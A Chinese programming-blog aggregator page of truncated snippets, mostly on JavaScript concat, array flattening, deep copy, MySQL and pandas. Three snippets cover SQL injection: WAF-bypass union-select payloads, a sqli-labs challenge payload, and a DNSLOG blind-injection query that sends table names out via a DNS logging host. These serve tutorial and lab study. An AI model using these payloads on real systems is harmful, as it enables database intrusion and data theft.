大师网-带你快速走向大师之路 解决你在学习过程中的疑惑,带你快速进入大师之门。节省时间,提升效率

concat()

concat() 方法用于连接两个或多个数组。该方法不会改变现有的数组,而仅仅会返回被连接数组的一个副本。返回一个新的数组。该数组是通过把所有 arrayX 参数添加到 arrayObject 中生成的。如果要进行 concat() 操作的参数是数组,那么添加的是数组中的元素,而不是数组。[1] 

MySQL中更改树的父节点路径的语句

SET @new='3,4'; UPDATE b_class SET tree_path=REPLACE(REPLACE(CONCAT('$',tree_path,',#'),CONCAT('$',@old,','),CONCAT(@new,',')),',#','') WHERE CONCAT(tree_path,',') LIKE CONCAT(@old,',%');

数组扁平化

数组扁平化 利用apply特性 let arr = [[1,2],3,[4,5],[6,7],8] function flat1(arr){ return [].arr) } console.log(flat1(arr)) //[1, 2, 3, 4, 5, 6, 7, 8] PS:上述方法只能作用于二维数组,当出现多维数组时无法解决问题 多维数组解决方法 方法一: let arr = [1, 2, [3, 4, [5, 6], 7], 8, 9, [1, 2]] function flat(arr) { let arr1 = [] function arrPush(arr){ let len = arr.length for(let i=0;

HTML页面加载速度优化

若压缩需要指定任务顺序,则需要引入run-sequence,return runSequence( 'task1-name','task2-name','task3-name'); var pngquant = require('imagemin-pngquant'); 参考文章 Web前端性能优化——如何提高页面加载速度 gulp-imagemin、gulp-tinypng-compress、gulp-tinypng-nokey图片压缩优化详解及对比 彻底理解浏览器缓存机制 web性能优化之:no-cache与must-revalidate深入探究 HTTP响应头之ETag 浏览器同域名请求的最大并发数限制

5种方式实现数组扁平化

5种方式实现数组扁平化 数组扁平化概念 数组扁平化是指将一个多维数组变为一维数组 [1, [2, 3, [4, 5]]] ------ [1, 2, 3, 4, 5] 实现 1. reduce 遍历数组每一项,若值为数组则递归遍历,否则concat。 function flatten(arr) { return arr.reduce((result, item)= { return result.concat(Array.isArray(item) ?split(','). arr.map(item = { if(Array.isArray(item)) { res = res.concat(flatten(item)); } else { res.push(item);

一些有意思的sql性能问题及解决方法

一些有意思的sql性能问题及解决方法 sql.jpg 本人以前主要做移动端开发,较少使用sql,哪怕用也只是小数据量的简单sql增删改查。最近几个月被拉来做.

mysql查询库大小,表行数,索引大小

SELECT TABLE_NAME,table_rows FROM TABLES WHERE TABLE_SCHEMA = '数据库名字' ORDER BY table_rows DESC; 查询指定库的数据大小,索引大小 SELECT CONCAT(ROUND(SUM(DATA_LENGTH/1024/1024),2),'MB') AS total_data_size, CONCAT(ROUND(SUM(index_length)/(1024*1024), 2), ' MB') AS total_index_size FROM TABLES WHERE table_schema = '数据库名字';

ShuffleNetV2:轻量级CNN网络中的桂冠

as_list() h, w, in_channel = in_shape[1:] assert in_channel % group == 0 l = tf.reshape(inputs, [-1, h, w, in_channel // group, group]) l = tf.transpose(l, [0, 1, 2, 4, 3]) l = tf.reshape(l, [-1, h, w, in_channel]) return l 下面,定义v2中的基本模块,先定义stride=1的模块: class ShufflenetUnit1(tf.keras.Model): def __init__(self, out_channel): """The unit of shufflenetv2 for stride=1 Args: out_channel: int, number of channels """ super(ShufflenetUnit1, self).

数据分析实例 USDA 数据

数据分析实例 USDA 数据 观察,检验基本的数据。并将USDA的数据整合到一张大表中,方便后面的切块,聚合,图形化等工作 1. 观察并检验数据, 数据集一般都很多大,我们要先观察和检验一小部分数据,总结规律 db[0].

js对象深拷贝

key) // 1 2.不支持undefined,会转成null let a = [1, , 2] let b = colne(a) console.log(a[1]) // undefined console.log(b[1]) // null 3.不支持函数、RegExp、Date对象,会报错 let func = function() { console.log(1) } let newFunc = colne(func) //这直接报错 3.使用递归进行对象深拷贝(递归为深度优先) function deepColne(obj) { let newObj if(obj === null) { return null } else if (!== 'object') { currentCopyElement[key] = currentSrcElement[key];

JS学习笔记——浅拷贝与深拷贝

clone() 数组中concat和slice方法 深拷贝方案 JSON.parse(JSON.stringify(obj)) 简单粗暴又有点dirty,但是能满足日常需求,只能处理json能理解的数据格式,当然不包括函数了,性能也没有特别好 lodash —— _.cloneDeep() 很好地兼容了ES6的新引用类型,而且处理了环型对象的情况 jQuery —— .

利用函数式编程封装节流和防抖函数

利用函数式编程封装节流和防抖函数 一、函数式编程定义 "函数式编程"是一种编程范式,也就是如何编写程序的方法论。主要思想是把运算过程尽量写成一系列嵌套的函数调用。即函数式编程要求使用函数,把运算过程定义为不同的函数。 二、函数式编程特性 无副作用 不可变数据 纯函数 函数组合 函数柯里化 三、看个栗子 计算若干个数之和: function add(x, y) { return x + y;

SQL注入中的WAF绕过技术

id=1 union select+1 id=2,3+from+users+where+id=1-- 这种情况成功的条件比较多,取决于具体的WAF实现。 再给出一个例子说明用法: 01./?a=1+union/* b=*/select+1,pass/* c=*/from+users-- 最终解析为: 01.select* from table where a=1 union/* and b=*/select 1,pass/*limit */from users-- 可以看到,这种方式其实比较适合白盒测试,而对于黑盒渗透的话,用起来比较麻烦。但是也可以一试。 6.使用逻辑运算符 or /and绕过 01./?

JS数组

JS数组 不一致性 加new的区别 new代码示范 函数声明方式 原型链理解 数组的本质 两种for循环 两种for循环 arguments forEach 嵌套函数 嵌套函数 接受并执行,同时传参给另一个函数 forEach的原理 forEach的两种使用方法 forEach forEach .concat() .filter() map 和 filter 链式使用 .reduce() map可以用reduce表示 filter 可以用 reduce 表示

JDK 1.8 String

JDK 1.8 String 只是简单谈谈,没啥可说的,不全面覆盖 String为final类不能被继承。其实就是一个final的char数组。 看看好多人都困惑的字符串比较的问题。 // original = "你好吗" private static void t1(String original) { String o = "你好吗"; System.out.println("====="); } } else { return nonSyncContentEquals((AbstractStringBuilder)cs); // 把之前的 char 数组拷贝到新的数组后返回 char buf[] = Arrays.copyOf(value, len + otherLen);

JS里的数组

JS里的数组 本篇文章将简要介绍一下数组的定义及其相关属性的用法。 一.数组的定义: 数组(array)是按次序排列的一组值。本质上,数组属于一种特殊的对象。typeof运算符会返回数组的类型是object。因此,数组是一种特殊的对象,它具备对象所拥有的属性。 二.定义数组的几种办法: //第一种: var a=[1,2,3] //第二种: var a=Array(3,3) //[3,3] //第三种: var a=new Array(3,3) //[3

小蛇学python(15)pandas之数据合并

小蛇学python(15)pandas之数据合并 在python的pandas中,合并数据共有三种思路。 其一,关系型数据库模式的连接操作。 其二,沿轴将多个操作对象拼接在一起。 其三,对互有重复数据的处理与合并。 我们分别来进行介绍。 1. merge、join 先从一个简单的例子开始。 import pandas as pd from pandas import DataFrame df1 = DataFrame({'key' : ['b', 'b', 'a', 'c', 'a', 'a', 'b']

JS解析URL参数

JS解析URL参数 let url = 'http://www.baidu.com/?' + 'user=huixin id=123 id=456 city=北京 enabled'; function parseQuery(url) { let o = {} let queryString = url.split('? decodeURI(val) : true // 转码 无值赋值true if (o.hasOwnProperty(key)) { // 已有属性转为数组 o[key] = [].concat(o[key], val) } else { o[key] = val } }) } return o } console.log(parseQuery(url)); //{ user: 'huixin', // id: [ '123', '456' ], // city: '北京', // enabled: true }

2018-06-04-sqli(Basic Challenges)1-10

2018-06-04-sqli(Basic Challenges)1-10 Challenge 1: 手动加上参数id=1,然后自己手动加上',先测试他是什么类型,有可能数字参数,字符参数等,不一样。 这里顺便说一下mysql注释符号1.# 2.--+ 3./*.id=0' UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS where table_name=0x7573657273--+ 图六 接着获取数据: payload:http://43.245.223.123/sqli-labs/Less-1/?

SQL注入奇巧淫技——利用DNSLOG获取看不到的信息(给盲注带上眼镜)

xxxx.ceye.io\abc'就是你的dnslog平台给你的域名 后面的abc可以改也可以不改,无所谓的,你乐意写啥就写啥 上面拼接的结果就是'\\\\ schema_name.XXXX.ceye.io\\abc',其实相当于访问了带有数据库名称的三级域名,被dnslog捕获到了 例如SQLi-LABS 第五关: payload?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'.